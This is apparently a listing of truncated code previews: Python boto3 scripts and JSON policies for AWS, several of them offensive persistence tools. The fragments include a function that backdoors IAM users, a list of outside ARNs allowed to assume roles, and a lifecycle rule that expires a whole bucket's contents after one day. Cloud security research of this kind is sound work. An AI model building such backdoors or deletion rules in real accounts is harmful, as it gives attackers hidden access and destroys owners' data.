dagrz

#!/usr/bin/env python
from __future__ import print_function
import boto3
from botocore.exceptions import ClientError
import json


def main(args):
    backdoor_users(get_users())

dagrz

#!/usr/bin/env python

from __future__ import print_function
import awscli
import awscli.clidriver
from cStringIO import StringIO
import sys
import json

dagrz

#!/usr/bin/env python
from __future__ import print_function
import boto3
import json
import random

# A list of Role, User, and account ARNs to allow 
# assumption from at random.
BACKDOOR_ROLES = [
    'your-arn-here'

dagrz

{
  "Rules": [
    {
      "Status": "Enabled", 
      "Prefix": "", 
      "Expiration": {
        "Days": 1
      }, 
      "ID": "Rule for the Entire Bucket"
    }

dagrz

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],

dagrz

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }

dagrz

{
  "LambdaFunctionConfigurations": [
    {
      "LambdaFunctionArn": "arn:aws:lambda:[my-region]:[account-id]:function:[my-function]", 
      "Id": "[my-guid]", 
      "Events": [
        "s3:ObjectCreated:*"
      ]
    }
  ]

dagrz

import json
import urllib
import boto3

s3 = boto3.client('s3')

def lambda_handler(event, context):
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8')
    try:

dagrz

{
    "Owner": {
        "DisplayName": "[user-name]", 
        "ID": "[user-id]"
    }, 
    "Grants": [
        {
            "Grantee": {
                "Type": "CanonicalUser", 
                "DisplayName": "[user-name]", 

dagrz

{  
   "Version":"2012-10-17",
   "Statement":[  
      {  
         "Sid":"AWSCloudTrailAclCheck20150319",
         "Effect":"Allow",
         "Principal":{  
            "Service":"cloudtrail.amazonaws.com"
         },
         "Action":"s3:GetBucketAcl",